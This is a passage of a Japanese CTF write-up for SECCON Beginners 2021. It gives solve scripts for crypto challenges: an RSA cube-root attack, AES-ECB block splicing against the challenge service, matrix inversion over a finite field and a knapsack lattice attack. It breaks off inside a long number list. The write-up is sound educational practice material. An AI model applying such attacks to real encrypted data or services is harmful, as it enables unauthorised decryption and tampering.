SECCON Beginners CTF 2021 write-up

• https://www.seccon.jp/2021/beginners/about-seccon-beginners.html
• https://score.beginners.azure.noc.seccon.jp/

5126点、3位。あと2問が解けなかった。

welcome

welcome

Welcome to SECCON Beginners CTF 2021!
フラグはDiscordサーバのannouncementsチャンネルにあります。

ctf4b{Welcome_to_SECCON_Beginners_CTF_2021}

crypto

simple_RSA

problem.py

from Crypto.Util.number import *
from flag import flag

flag = bytes_to_long(flag.encode("utf-8"))

p = getPrime(1024)
q = getPrime(1024)
n = p * q
e = 3

assert 2046 < n.bit_length()
assert 375 == flag.bit_length()

print("n =", n)
print("e =", e)
print("c =", pow(flag, e, n))

$375*3<2046<|n|$なので、$n$を無視して三乗根。

solve.py

n = 17686671842400393574730512034200128521336919569735972791676605056286778473230718426958508878942631584704817342304959293060507614074800553670579033399679041334863156902030934895197677543142202110781629494451453351396962137377411477899492555830982701449692561594175162623580987453151328408850116454058162370273736356068319648567105512452893736866939200297071602994288258295231751117991408160569998347640357251625243671483903597718500241970108698224998200840245865354411520826506950733058870602392209113565367230443261205476636664049066621093558272244061778795051583920491406620090704660526753969180791952189324046618283
e = 3
c = 213791751530017111508691084168363024686878057337971319880256924185393737150704342725042841488547315925971960389230453332319371876092968032513149023976287158698990251640298360876589330810813199260879441426084508864252450551111064068694725939412142626401778628362399359107132506177231354040057205570428678822068599327926328920350319336256613

from Crypto.Util.number import *

l = 0
r = n
while l<r-1:
  m = (l+r)//2
  if m**e<=c:
    l = m
  else:
    r = m
flag = long_to_bytes(l).decode()
print(flag)

$ python3 solve.py
ctf4b{0,1,10,11...It's_so_annoying.___I'm_done}

ctf4b{0,1,10,11...It's_so_annoying.___I'm_done}

Logical_SEESAW

ビットごとに1/2の確率で鍵との論理積を取る。その結果が16個与えられる。

暗号化後がどれか1個でも1になっている場所は1とすれば良い。元が0で1になることは無く、1なのに全てが0となる確率はとても低い。鍵の対応するビットが0であり、さらにコインを16枚投げて全てが表にならないといけない。

solve.py

cipher = [
  '11000010111010000100110001000000010001001011010000000110000100000100011010111110000010100110000001101110100110100100100010000110001001101000101010000010101000100000001010100010010010001011110001101010110100000010000010111110000010100010100011010010100010001001111001101010011000000101100',
  '11000110110010000100110001000000010001001111010010000110110000000110011010101110011010100110000010100110101100000100000000001110001001001000101000001010101001100000001010101010010110001001110001101010110100000110011010010110011000000100100011010000110010001001011001101010011000001101100',
  '11000010110010000100110001101000010001001111001000000110000100000110011000111110010010100110000000101110101101100000000010010110001001101000101010000010101000100000001000101110000010001001111001101010110100000010011010010110011000100000100011010010100010001001111001101010011000001101100',
  '11000110110010001100110000101000110001000111000000000110000000000110011010101110011000100110000010100110101101100100100010000100101001001000101010000010101000100000001010100110010010001001110001101010110000000110000010110110000000000000100011010010110010001011011001101010001000000111101',
  '11000110100010001100110000000000010001000111001010000110110100000110011010111110001010100110100011101110101110100010000000110100001001101000101010000010101001101000001000101000010010001001111001101010110000000010000010111110000000000010000011010010100010001001011001101010011000001111101',
  '11000010110010001100110001001000010001000011000000100110000000000110011010101110000010100110100011100110101110100010000000101100101001101000101010000010101001101000001010100010000010001011111001101010110100000110001010010110001010100100000011010010110010001011111001101010011000000101100',
  '11000110110010000100110001101000110001001011010000100110110000000110011000101110010000100110100001100110100110000000100010000110101001001000101010000010101001100000001000101110010010001011111001101010110000000010001010110110001010100110000011010000110010001011111001101010011000000101100',
  '11000010110010000100110000100000010001000111011000100110100000000110011000111110000010100110000001101110101111100100000010111110001001001000101000001010101001101000001000101010000110001011110001101010110000000110001010011110000010100010100011010010110010000011011001101010001000000111100',
  '11000010101010000100110001001000010001000011000000100110010000000100011000111110011000100110000001100110100101000010000000011100101001101000101000001010101001101000001010101110010110001001110001101010110000000010010010110110011000000010100011010000100010001011111001101010001000000101100',
  '11000010101010001100110000100000010001001111001010000110000000000100011010101110011000100110000011100110100111100110100000000110001001001000101010000010101000100000001000101100010010001011110001101010110000000110011010010110011010000000000011010010100010001011011001101010011000001101101',
  '11000010101010001100110001000000010001001011010010000110010100000100011000111110011000100110000010100110100111000100000000000100101001101000101010001010101000100000001000100000000110001001111001101010110000000110011010010110000010000100100011010000110010000011011001101010001000001101100',
  '11000110101010001100110001000000110001001111001010000110110000000110011010101110011000100110100001100110101111000100100010011110101001001000101010001010101000101000001000101100000110001011111001101010110100000010011010011110001000000100100011010010100010000001011001101010011000001111100',
  '11000110100010001100110001000000010001001011011010100110000000000100011000101110001000100110100001101110101101000110100010001100101001001000101010000010101000100000001010101100000010001001111001101010110100000110011010010110010000100110100011010010110010001001111001101010011000001101101',
  '11000110101010000100110000000000010001001111001010100110100100000100011010111110001000100110100001101110101100000000100000111110001001101000101000001010101001101000001010100110010010001011110001101010110100000110000010010110001010000010100011010010110010001001011001101010001000000101100',
  '11000010101010000100110000000000110001001011011010100110110000000110011000101110010010100110100000100110101111000010000000100100001001001000101000001010101001100000001000100000000010001011110001101010110000000010011010011110001010000000000011010010100010001001011001101010001000000101101',
  '11000110101010001100110001000000110001001111011000000110010100000100011000101110001010100110000001101110101110000100100000101110101001101000101000000010101000100000001010101010000010001011110001101010110000000010000010010110001000100100100011010000100010000001011001101010001000001111101',
]

from Crypto.Util.number import *

flag = ""
for i in range(len(cipher[0])):
  f = "0"
  for j in range(16):
    if cipher[j][i]=="1":
      f = "1"
  flag += f
print(long_to_bytes(int(flag, 2)).decode())

$ python3 solve.py
ctf4b{Sh3_54w_4_SEESAW,_5h3_54id_50}

ctf4b{Sh3_54w_4_SEESAW,_5h3_54id_50}

GFM

Github Flavored Markdown
Google Facebook Microsoft
And...?

Galois Field Matrixか？

problem.sage

FLAG = b'<censored>'

SIZE = 8
p = random_prime(2^128)
MS = MatrixSpace(GF(p), SIZE)

key = MS.random_element()
while key.rank() != SIZE:
    key = MS.random_element()

M = copy(MS.zero())
for i in range(SIZE):
    for j in range(SIZE):
        n = i * SIZE + j
        if n < len(FLAG):
            M[i, j] = FLAG[n]
        else:
            M[i, j] = GF(p).random_element()

enc = key * M * key

print('p:', p)
print('key:', key)
print('enc:', enc)

要は、keyとkey * M * keyからMが求められれば良い。逆行列を掛ける。

問題と同様にSageMathを使えば、すぐだと思うが……使い方が分からないので、自分で実装。右側に単位行列をくっつけて、左側を単位行列にする。

problem.py

p = 331941721759386740446055265418196301559
key = [
  [116401981595413622233973439379928029316, 198484395131713718904460590157431383741, 210254590341158275155666088591861364763,  63363928577909853981431532626692827712,  85569529885869484584091358025414174710, 149985744539791485007500878301645174953, 257210132141810272397357205004383952828, 184416684170101286497942970370929735721],
  [ 42252147300048722312776731465252376713, 199389697784043521236349156255232274966, 310381139154247583447362894923363190365, 275829263070032604189578502497555966953, 292320824376999192958281274988868304895, 324921185626193898653263976562484937554,  22686717162639254526255826052697393472, 214359781769812072321753087702746129144],
  [211396100900282889480535670184972456058, 210886344415694355400093466459574370742, 186128182857385981551625460291114850318,  13624871690241067814493032554025486106, 255739890982289281987567847525614569368, 134368979399364142708704178059411420318, 277933069920652939075272826105665044075,  61427573037868265485473537350981407215],
  [282725280056297471271813862105110111601, 183133899330619127259299349651040866360, 275965964963191627114681536924910494932, 290264213613308908413657414549659883232, 140491946080825343356483570739103790896, 115945320124815235263392576250349309769, 240154953119196334314982419578825033800,  33183533431462037262108359622963646719],
  [ 53797381941014407784987148858765520206, 136359308345749561387923094784792612816,  26225195574024986849888325702082920826, 262047729451988373970843409716956598743, 170482654414447157611638420335396499834, 270894666257247100850080625998081047879,  91361079178051929124422796293638533509,  34320536938591553179352522156012709152],
  [266361407811039627958670918210300057324,  40603082064365173791090924799619398850, 253357188908081828561984991424432114534, 322939245175391203579369607678957356656,  63315415224740483660852444003806482951, 224451355249970249493628425010262408466,  80574507596932581147177946123110074284, 135660472191299636620089835364724566497],
  [147031054061160640084051220440591645233, 286143152686211719101923153591621514114, 330366815640573974797084150543488528130, 144943808947651161283902116225593922999, 205798118501774672701619077143286382731, 317326656225121941341827388220018201533,  14319175936916841467976601008623679266, 112709661623759566156255015500851204670],
  [306746575224464214911885995766809188593,  35156534122767743923667417474200538878,  35608800809152761271316580867239668942, 259728427797578488375863755690441758142,  29823482469997458858051644485250558639, 137507773879704381525141121774823729991,  29893063272339035080311541822496817623, 292327683738678589950939775184752636265],
]
enc = [
  [133156758362160693874249080602263044484, 293052519705504374237314478781574255411,  72149359944851514746901936133544542235,  56884023532130350649269153560305458687,  67693140194970657150958369664873936730, 227562364727203645742246559359263307899,  98490363636066788474326997841084979092, 323336812987530088571937131837711189774],
  [244725074927901230757605861090949184139,  63515536426726760809658259528128105864, 297175420762447340692787685976316634653, 279269959863745528135624660183844601533, 203893759503830977666718848163034645395, 163047775389856094351865609811169485260, 103694284536703795013187648629904551283, 322381436721457334707426033205713602738],
  [ 17450567396702585206498315474651164931, 105594468721844292976534833206893170749,  10757192948155933023940228740097574294, 132150825033376621961227714966632294973, 329990437240515073537637876706291805678,  57236499879418458740541896196911064438, 265417446675313880790999752931267955356,  73326674854571685938542290353559382428],
  [270340230065315856318168332917483593198, 217815152309418487303753027816544751231,  55738850736330060752843300854983855505, 236064119692146789532532278818003671413, 104963107909414684818161043267471013832, 234439803801976616706759524848279829319, 173296466130000392237506831379251781235,  34841816336429947760241770816424911200],
  [140341979141710030301381984850572416509, 248997512418753861458272855046627447638,  58382380514192982462591686716543036965, 188097853050327328682574670122723990784, 125356457137904871005571726686232857387,  55692122688357412528950240580072267902,  21322427002782861702906398261504812439,  97855599554699774346719832323235463339],
  [298368319184145017709393597751160602769, 311011298046021018241748692366798498529, 165888963658945943429480232453040964455, 240099237723525827201004876223575456211, 306939673050020405511805882694537774846,   7035607106089764511604627683661079229, 198278981512146990284619915272219052007, 255750707476361671578970680702422436637],
  [ 45315424384273600868106606292238082349,  22526147579041711876519945055798051695,  15778025992115319312591851693766890019, 318446611756066795522259881812628512448, 269954638404267367913546070681612869355, 205423708248276366495211174184786418791,  92563824983279921050396256326760929563, 209843107530597179583072730783030298674],
  [   662653811932836620608984350667151180, 304181885849319274230319044357612000272, 280045476178732891877948766225904840517, 216340293591880460916317821948025035163,  79726526647684009633247003110463447210,  36010610538790393011235704307570914178, 284067290617158853279270464803256026349,  45816877317461535723616457939953776625],
]

SIZE = 8
inv = key
for i in range(SIZE):
  inv[i] += [0]*SIZE
  inv[i][SIZE+i] = 1

for i in range(SIZE):
  x = pow(inv[i][i], p-2, p)
  for j in range(SIZE*2):
    inv[i][j] = inv[i][j]*x%p
  for j in range(SIZE):
    if j!=i:
      x = inv[j][i]
      for k in range(SIZE*2):
        inv[j][k] = (inv[j][k]-inv[i][k]*x)%p
for i in range(SIZE):
  inv[i] = inv[i][SIZE:]

def mul(A, B):
  C = [[0]*SIZE for _ in range(SIZE)]
  for i in range(SIZE):
    for j in range(SIZE):
      for k in range(SIZE):
        C[i][j] = (C[i][j]+A[i][k]*B[k][j])%p
  return C

M = mul(inv, mul(enc, inv))
flag = ""
for i in range(SIZE):
  for j in range(SIZE):
    if M[i][j]<256:
      flag += chr(M[i][j])
print(flag)

$ python3 solve.py
ctf4b{d1d_y0u_pl4y_w1th_m4tr1x_4nd_g4l0is_f1eld?}

ctf4b{d1d_y0u_pl4y_w1th_m4tr1x_4nd_g4l0is_f1eld?}

Imaginary

$ nc imaginary.quals.beginners.seccon.jp 1337
Welcome to Secret IMAGINARY NUMBER Store!
1. Save a number
2. Show numbers
3. Import numbers
4. Export numbers
0. Exit
> 1
Real part> 123
Imaginary part> 456
1. Save a number
2. Show numbers
3. Import numbers
4. Export numbers
0. Exit
> 1
Real part> 0
Imaginary part> 1337
1. Save a number
2. Show numbers
3. Import numbers
4. Export numbers
0. Exit
> 4
{"123 + 456i": [123, 456], "0 + 1337i": [0, 1337]}
Exported:
f62f740e3e483508c12055ed4ec45c78ac0ec70d1b5da349eaa396aac6b28596634842688c2ca7eaa5a9f91a03cb0b3af36e1309837f85a8ef0b81de1e9a6bb2
1. Save a number
2. Show numbers
3. Import numbers
4. Export numbers
0. Exit
> 3
Exported String> f62f740e3e483508c12055ed4ec45c78ac0ec70d1b5da349eaa396aac6b28596634842688c2ca7eaa5a9f91a03cb0b3af36e1309837f85a8ef0b81de1e9a6bb2
Imported.
--------------------------------------------------
123 + 456i: (123, 456)
0 + 1337i: (0, 1337)
--------------------------------------------------

ソースコードを見ると隠し機能5があって、"1337i"が保存されていれば、フラグが得られる。でも、普通に保存すると"0 + 1337i"になってしまう。

エクスポート時の暗号化がAES-ECBなのが脆弱性。ECBでは16バイトのブロックごとに暗号化される。

>--------------<>--------------<>--------------<>--------------<
{"1 + 1234567i": [1, 1234567], "2 + 1i": [2, 1]}
{"1 + 12345i": [1, 12345], "2 + 1337i": [2, 1337]}

1行目の先頭32バイトと、2行目の33バイト目以降を貼り合わせれば良い。

Welcome to Secret IMAGINARY NUMBER Store!
1. Save a number
2. Show numbers
3. Import numbers
4. Export numbers
0. Exit
> 3
Exported String> 4918d6d6894e86d4e1527317e5c33e1ccc0add6c926812951221ca4b638ade13ac06499ff1aeabacb01f1e23a198c24df36e1309837f85a8ef0b81de1e9a6bb2
Imported.
--------------------------------------------------
1 + 1234567i: (1, 1234567)
1337i: (2, 1337)
--------------------------------------------------
1. Save a number
2. Show numbers
3. Import numbers
4. Export numbers
0. Exit
> 5
Congratulations!
The flag is ctf4b{yeah_you_are_a_member_of_imaginary_number_club}

ctf4b{yeah_you_are_a_member_of_imaginary_number_club}

Field_trip

problem.py

from Crypto.Util.number import *
from random import getrandbits
from flag import flag


flag = bytes_to_long(flag.encode("utf-8"))
flag = bin(flag)[2:]
length = len(flag)

A = []
a, b = 0, 0
for _ in range(length):
    a += getrandbits(32) + b
    b += a
    A.append(a)

p = getStrongPrime(512)
q = getStrongPrime(512)

assert q > sum(A)

pub_key = [a * p % q for a in A]
cipher = sum([int(flag[i]) * pub_key[i] for i in range(length)])

f = open("output.txt", "w")
f.write("pub_key = " + str(pub_key) + "\n")
f.write("cipher = " + str(cipher) + "\n")
f.close()

知識問題。Aの生成のところで何をやっているかというと、これまでに生成したものの合計よりも大きくなるように要素を生成している。つまり、Aは超増加列になっている。Merkle-Hellmanナップサック暗号。

LLLというやつで解けるらしいが……LLLが分からないので、このソースコードを使わせてもらった

solve.sage

# https://kimiyuki.net/writeups/ctf-2015-plaidctf-2015-lazy/

b = [1627727230910376679190305250495462377673127325457772051463473603239280851247844857775094804468541458382943793317239787693930638537905012556126829098198853, 11390077915029058809550131014512708496324218365383793403681859478983277851788559377973666759678894435638593981031042225181697704452107123180828946159773515, 8179148350749291474514716907983121255146115753248586194447416551426945499482207275600097490935543753034574160607266468264368850157525750760264486882342004, 10941812031082272057798702874172927467797501065302416966001023128384698906928085390135010716098940533908593173515390255250462556662539593195364174183111378, 3614745341275480428658319936106342479447545475997102535381861144548202616710068200734103360803941309632252623075660097928171614636575252144104941167875823, 823178354506932008674641402551278888372261897630495965386060191754392263016108442664620321118524856044971184623847186758394463971043188530296897451771186, 6126448477839481210946440528787637248330004648968502621267179732866433426925983876878526325407025084527441161833253484921016836135453814544622972372789122, 7466110955532217718350434679985113267727029661150471938943244057893689660733974538173921362412025690616586611377720710981300593198085731197422760123486823, 8494763827840222748734700648979436004399105472251068803766808893440611752185480154140145100605542790978072404829682982969121103538123360622748789468463235, 11189720630530432372988722422207131896593163626212669159020725119617893436033981396794415249303994853786917522131094575897127888600143225647812363683556711, 1715148450280854136862317182605666023423823213970399964487054641958918804151884265498646179998842243400236338074592006759506277918874694729594147582035223, 5540431799313225600289987101975658390666115836842131612473239501357335750526216599306611213275093940185339830230979569745307094862150569297375944630143685, 6065288708774786746551562482382919833260656987958350973874133802701002919726540869583838838759287884702711861900261459529790522631020994523440533144502775, 7234486161196695664277498569820928727263659579862329533231742765775361673322113762206501017047056413054134570841827024859772736445100885511621826030636721, 5790466157587780811391418203868871988082506102567632509545303269169653572768191738557448523974150628231236540920327049499163032154806889411357922070960923, 614487011969781591950160360975242589085019947676643049152128264494968822101147186721613098402364118730615692871650144954496839040414405067974702421023905, 2278335646833352836053675691559323543806718574568397090218657707516163081796224967487437830189535674711866517339720796812479305160299543957122930902733680, 134879407361379889128094711300170056598390106523526115878191161673136372971584663792937617159109985222609270062841930765578765868002121297161450924875670, 9519287056894525158582578864977452979099306021811340603346876269211863740542948640369599220180050455648379571390554225127442591697808606219706674595426234, 8402285089367247619745011222681496327228844899382581802919813910782074703470238610758895365966927878107041275900491204851884282695630780037206677089073743, 5406457121320262339650448405765205909738170940504528472739736687195948514104117332533865686024659827591710796087546713263642562769582609048315709994928120, 3801142902357168548686125964812533589729813463183268403565815227989154972362571932731819983704767934865803934241215040857671291683075724662922338415917182, 5436947858801618770870878269048974285422847359285195936610682423767931295811884290027916455982229786770673284249525164815726004308812462166914799567512132, 3815052792278989714677334168820537877167491234877274326563177152219263932218376863319752340985935154603585067421571719480783708315218297849199545235122158, 7027654996878753275961749122684655552094983534693747937102146760033187963841168663352245494579053154889790710851894666675012966264073470852357878798185461, 1902120513092875903338226046347919002820646057582844141644280347474263924997621676201569803130224359726311851288100274056706312976734099927488849060865100, 11761048354354487182165243290860187512062141561289470397986167013898235429358707127696368115069038004916028536939325487876797540965691324574012326619996716, 9757529573128395073155274559294819779368946395358435204233094762544296369601908201919613288263346489553542399982377228944641012976067072706476767936937491, 2453946098113482646488949231406349598804639726542182990917700647199960018577504360015030201773257233191736013580250768440614299316063045659162111320187018, 9319706037803173583171999553640056770008389931059980211073835507260771807765054342788152787019226685278576061693822692868824482538539619437423931723867638, 2415898081000285885317495095869472168214386057550401076099272996668473089357177847144038836740891535925645870811083042646884362664103196192764729813731836, 6831371739629516878762522327702302241691133397282458321594420516244457682248807904681947662649834044913983745000847132408435191823193733626430289939177704, 8911487453444536593323920821809421883218471526912139746762963559650262957593522887117811194390719914863010957953813489075136297325877225195754168400092143, 10827165969679594628739062220054978610293037445161650396571452340162805594515879042614168001849163738612474327713960410907001062746512950632119899645486165, 704502156006234895839438994186203068165985741674000184830486957231155986311282679180631398966930213171517941820858545126492495344870861094407012184640823, 4290415868027081329996593194887552166008805715995986555372686051077953073250496320908121226211705000105956461168744315858180066368242874040891532657113169, 10545064273500469407002351635866768900216078230158001025925896743623392315718385811101431137913336305418674086955813416589952935610377379991777656464560904, 222038761397496749360785916329206840697038382632411616626840724191778442228487034550449387870944140465498765132320783016190199911880849496664880021486811, 1441186128607304956019821803029517117342542746331149661877318328445155144327519269434552605831697245827929704875263722242762828396110183771144964459394537, 6262035322760676455872259557860354851246503548034172638052912261395035948982118234312601487324050800839022328905285373880135361896745345697099469992851131, 4524184613244291795109754414667150818999629856838115549409097166729848395081524481473123941545320222662731732155390386071843025802825179816381298820729824, 5283966263613790830455133450578806522976393376747821388280595897660468710659040194781402893846259456267710256514673635793738636888433235312976117540997670, 734269568748111640052090946231180906652495087236442702545338576377208172123085276589342632556585327179776362520321678519591781841790141214498484270905176, 9451656806863570616172924236279721588970386798009311529339115014539046020513297990270343561908720603044124605812085133334217197137400578937155121179082520, 3051642371650657054700521038491519744705758620980094104902981323717627057520029747610177450175370083995813698968822095618298179968058178062764130608659423, 7138952449752237733780319852689997148652360533005590188952403508900689828377062768778919668480243722079246374005954390574613559146429228635500313866647830, 338855726414699556488111033893516095818452279804805254966111715246104055445804382690731870669031649972111753917285671926417016391990572580298041758371253, 9434338110989485656020470689018936204735538469042920590064694759331237737230785701304245293791165210985574378910680725501788497370867036347820422455861008, 11743357680578349359162842808973807055764041927045206000202223764225228589230152100644412242832121778126080931892859490461297768718139167127509484426935516, 10809477666198375316415855765052746110763351926084144990851771467019653102707561871201368035835499988211685995329231458471783072292334735121148934257474481, 8361290012462548161951254835930186683493837370922544617362025529237532210142924359445724137459698924851513253914440872353889163895924265960022186220544709, 9110331121231523509307877539206254496672950206166437894520019335519961179869340990239003361109383043974388021961851540679419112950782472645836218947069184, 10393081243233784801735338636405290390807650076446916623218248492311682427662136868388090954521461644084639834083277464607638024855738147795387101337574226, 8635144191933378357854933636265474571012056586049858041465470568749464263500256261392037808005866345720862774122069273582266436367817433458956532049780774, 4418352683953086382401924269854964217677896486679104773071252777228873262401683489714714052284264053149769016874563276933086640659387489800484854697533082, 11405236243645314277535277368602821528967628188171456747788000113810218023475667423693365373226884179614448925519215120109302962469860586286886119774049347, 2771015879550163030165657530654451086641677020792616747235577420773494369048734442366451848062127222028674614372620701644053503582161481006114727140581880, 9898040106597885401583759646390295107361734996622402136464938780239784598493749472168979827154809586241421519720993011993090134889937532355080074694914236, 5777113427214185313997366187449136632797879082988812318910143048720548368905732814341066506919809935796023024351923191808765189492249761422655292085807672, 629078785533612849316912686429345503590958550796433801577651410881398124391524995844450352946049732397726053930432847836219823262977515490137563736301854, 10801401295641411092684548694395594070024865629243283117987852161404597651908799260812686233176670601757986605943575400167658544559357084608391881834446315, 230070532084711979714073115090944140276333108429708057888154566997156763934572283796043255414920534623439966012683795418379115522344166096620802666822158, 2653141234649791159270555987752178497577182383710867439287180210805265047951979750613536416122211396079337182535060893836409041761200653941413783366601647, 9819385030911488229711423422290746871860893626170080234281491318242107780563809621339193314159985954076683835744606911808745839075685015953738930366461504, 10787755099446585851067558577389646651361480328446469420228814545570006340103348743933813554961768885774075313271971611985063086273746596057549133130286996, 10263252536258338191094138495727374812304043040018874292736338983366473600613438579330512622405111321614329014124397343691422153751941094425939148115419144, 8264896351960310713538344637075442139532971304017521357074393238425679130058257615139742072920826381868768043200623504461528962772634922574219204008611446, 2147098598151809758012396937896797587780500058011635682566222787994691651248284456431917338694337594118487127099227127261521149212812046027401283431626653, 835919714553401942404334437551365593064566099647192274874446759913634276581629201627681467376279981880841428500989955273531853693899249169333824801078750, 3137791999402738811435798454665497017869650524841428289369351443750201278747862575707706000714058324362992205288888567315278677490077727774835379088436006, 1349083629045995316048152731789283957044698996027937078185713363080897115381735648010571340344037922487894330206612400451771128607496786215899669980572631, 7151470156920468764362424494490172229163475650617111710841057240618925425354832625922496799292567847545183967966217669595274609257135294729383362095738774, 969214900808450132888751546918076429566821040071276149919254643349125098280414720732281136532422094620745562927599642733412626063657268885891539827291347, 6837332378607129931141030022171984123309503518721395037825344337090610567350813310712435580992877616537619887480522470873869606202135747709672130000907665, 8364995496256554616029977590294874242060213310040785018239136897992699511676399955908119484626044885062103507697132148339409250907597810483796867399165984, 11150349307177473530307176249702818877580126605366046220776402492478240524483158185915502079277290319184145846124682470893997182480458282506949040910499392, 1658289696192983790897943272438520487042075314752724083703126291291970666851342327974958388331127028328164897980277317490557958037865872463479747423524926, 9131362533429004401441350892122360841764586109487383276247013461128740601257141642707756754491618871428100079351302334977304105019443858133126184771545043, 9330397298855941369542973735462725696662687125148526787140181659060684716824505001027119473890099274372275476966877359227102525263938755962082724482518050, 10253738743836159588621071259178219022563765128400530571588761301542176945143921956862350468019119752368079008322471485199577898502308114141549691485328119, 11600594703900902422866629561800220560103998368093720941938164737980026015168964844534647856810134441227007791139257922310172433764469537384240765031240277, 2244615925157610777383156726581397246130116260122731876532858274705570510773554286422504200282490618833439009494062776847822891629410146208293931139019598, 9733004403706149967520978404543771261324511435667728541178207212979721154676382281225409760729300022193360065470568452825325123972934958237623605165978375, 254354500603048544344274289207513537562120915759345747274593609495132631100017756321505502767286130589730909912096517138306900867943453650871702051139820, 8370794524988243638695092359570003691661556745490662742148202903860415924783217755602807126418561604959238898020252625472585689205979031497593592055937411, 8794340191988240556017659906713384748965043778452355164633928970799666465022803989063363371175889737930849051628085913544959957566363686438835153843412939, 5332480590532842430323558618578543509309546254138522597994235482505696944206135906595816348986471057105575982103534851867035705911825105890554636399117959, 3950651369214765379669331091209846132473398609747032844881769499832818398279627204457821432880778469543121042120812033753781942045800062715602362551437446, 8764597745555787966301901389786365105087694140863727334245233470132110641169237259387203997461935069288656230569502194991969216616783525833400312149135717, 10893671311442357810344005102450557175906931304022699347689646165105262580304776183017675980891676148589951193879822475240682617753093939204073908090934123, 9279851910251720350566986284138542667714345125643347097239195337905126099452241423018671935749811042002501428789486379723371928823690546158499167561377363, 7467311785687010437555773880658735452282769858571517461749051862992815684658577766003123130545826154620513903602757430481744043605817836120355235645161971, 5108725545796520008985875560900754734992617221769641586339788732236758184078757049778190729232684046606028473386534748941226434872542329986204159374865318, 11867699353985069790536624225866578465253057547038747367192323201103495572410886289392307344367210629571626846502738311475794548637804314691361883633660854, 3307955753584481516914855590837996820524452980430232447056686239509247300748140903481811349702734702088092190468590865868219632872299773637242697461456553, 10198102385245501857792898248520943901262126311232584209734399129163853603686024999279049967928201510400871689285418724239616764378384016527780204413216674, 8228299095729026478677409017032361626919004386605335618535716218424202290478453122140182082896822897053196677144530584164608155945616171423914566350006168, 5112786368092391279903606929743330066336471986263730056133931970470350367734928619591357871627106533582770983308703750603891628446704447489958729107713715, 10469735493230359064821542968197039289870670760006858877107911033538981312661996508702709711101453750156345711233887576764596618880116679535070758686367835, 9196198524335526563875694798089709262412006598320807967509365313289345737999012223767852725432769548784378062829358869705294718633979410353031005678221802, 6683277380933096532362852252484564886247729619973370408526339212096381484171620318859617374568197001310631889191807697663323642106913958849690224925461694, 9529613981769374073447341366884871937833846177760706872163980387662932372533823749575103833419092123484129940660046036074238463645988110467224610841798396, 2266794669069907087687293539109983357111262788594707965340396512153714241039180932421689734859164235712168843370543545431747673801363827867496870372125336, 1866657295458158454881522810715564591136349581564835527057025586296173873670918151349885379247546649061814138440749434231115994040006915887222214832216793, 9148338051604628974249176335472004157326441570701111334833644249222513670344916886670861683334321358810579899657217206257613558265823876085505454588007968, 3150970195117521652874271187992011688081846017889819628953971423349119288736936005559152214262722455740251518841347209225787560336272283302792820677155456, 2654815978280349195745421700490321540189264095484815485625765415487938591288435811537239820689235000000161324407221020096227903798822533164408384845279219, 10613712470437968081140979473098189731268139640670987306626304368616232817231479865616941989006606100283262512680880271451166161316286745812304949833618532, 584771700542193176410575206781719730381455972184594687314858310873745548037581699189913439808225843016877940196620523275735084018626160581660280994642977, 7752227206782612731330946605694126516789657852557775310044628700046190614760547318085553165126745983752673912673179603938501945102414356429679923126279635, 6181114125680462568335637321427121237211288385454147219539532450576260468665546332121469615286892296528834796051391696892578291511969538036639317451275393, 9135050673473900291782130971149267435204316475664597051965244543275596770270798810469766060093645817494350474433396115526366874458378951375630266775342673, 10823484837094701160540558686227927842943057819522139544135134044387262556730658594806349353577086449873005218586065819838718307881055159834974985844681301, 9983072533960933746418223838369711407232082297937881132317170649759456192810500555555337035974971942717934370671547654549936811199706777826630199849997893, 9496860292179603670920445704807780801671759827403400028732735007396868161785125605066594722355616018953537321578676302542059539384517799908274423326672419, 1703385660623950359050969801655519572699157230875334655419427425211519057467450009673619270811656302454948012601207060423808873812556848095400818203864, 1124824934298417769296957031482302153675496794359839176778073940948277366770010987547411988487713939288525606195470668176368430409031376391243742928188737, 3229481917557768819829086515377643522962590749891024608854142700316113763497423916549064184792610168714433142930480984048981188717417434429561511671863340, 8294104032436327777486159971264402767334649287841961190030297139466131416369517365641129837491598616986084921647405266807970727164692073754656655602529261, 10841558702848626512201447043784390704658214933053467482697472164169627348933072901533434861934797167954203691251466593055982136720490185778511573725463091, 3178930784687138843088596584997903179579922587867410882667347234930875487458734591193687966659517370268916417823125671401884196339836390571169682168714634, 7454151195962571505291413229201537150280824884428852910895643182678249719784935336643779191181482778848818993208221255258132534583411781119205078130090493, 2015156865486836120778682378960560170098671955237858754748152131638573845290736893280308181218687853014604174145816633360273506979314685066746558185772213, 7518280147605752377356085467400615547824826179564770315069235526007505409683817948956679988243512932507522237221929606038316891387806953147114552195723037, 2024819075929565623167333132137655283846300903116425428839619347379614001726638635657985601976090872185635173118822397894048579095835679930797308966510161, 6215993704628241793832033783162789293924516338030608992171516163123272062860326445636293235015378684705933988212973591046212191958652259015996841348525233, 10721074643733864954970318017687419861549782195881708432332255884413370619291750997381857646366632973722794738669419561902209255528214363399300572318598976, 11051099778413936201588813479333950625696456591449077944829525186174150306810041964709311295480133149976157065280899311313708649194744567649855692630214364, 1688310516465382129824706766300320323086828782213510237597315430363470883127564821837914550530086658434882374985922949368294443247364921794573340486906238, 3192364479471168028710837283899918625935362325330335301033556406770563105461096419504116373286876626652315031493543268384008485267512339959435053933841313, 10572194847482440812332986591051630462883201860708366563698662854481883222498284684687782612499400666528966898408853346133591660937905688329633621416854553, 3947736123018809396047345259826555348314283757126565484195977099646537310353904000152697460719528310696082204835098702895122864267256319395558913520116392, 11182766638391936877995854197520085129151384977709217790829422656082419193097932980148237939707803168327610358370853571892812158944282257498680855767229677, 3785005419673190260210131419611296437580991153996528806706953071932484677468263744891384933085989064774778069519276028906778427000799962507340099134917935, 5080917081750594708323405365145453207238012111759111382500875071859284459953169985334929889554817530710648209427731938198054042780871188922340543142924939, 4048618658491596677603187303911377706030641697591465631347400097836527581077675625158162761353955215178164330226108795767011183973412955473474219799087197, 10756640002316419897851435267941668380681904604159814743578516612294764433749019434802471420890142162949979364053015555721098798895592890837753394402601600, 9576566069431525883762715341983732560085629671089897559307942342017237423144442133049657728319197511124149519512976698322385517896297503762943044451831682, 7165568955290222509156785556616132982441722968221047749287853532522706162989495783845174854505888062434423314563689608447591958198763443599582520354403262, 4886305788841254495561906932817366567996456189096683440102055315067086182866905742486434971809212556403255604320990070575999450589283865669827032247378026, 7974570179507384046793957867326714371457957470114044411785079610018843160599140562038134667373750144719208045822373607909523650049764790454624533560094438, 4699399884541021847518656224539601167184097708756378716924596672912033629859806682769146527434005646171138846377909985611374237928982199839841484034595124, 284699436285137586151623117958887854384067390251467180741921703094848380911015079304006363413374407709029807303242873481239873129968266824381074061576781, 7424603511991768566970306812540965037304046015506639020124822754523996481221874622779988256386434795599778401964853467233299073228923733026307559753461753, 